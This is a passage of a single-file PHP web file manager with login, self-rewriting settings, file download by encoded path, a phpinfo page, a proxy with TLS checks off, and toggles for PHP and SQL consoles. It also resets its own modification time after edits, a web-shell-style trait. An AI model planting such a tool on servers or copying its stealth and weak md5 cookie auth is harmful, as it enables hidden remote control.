	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>gerenciador de arquivos</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>gerenciador de arquivos</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
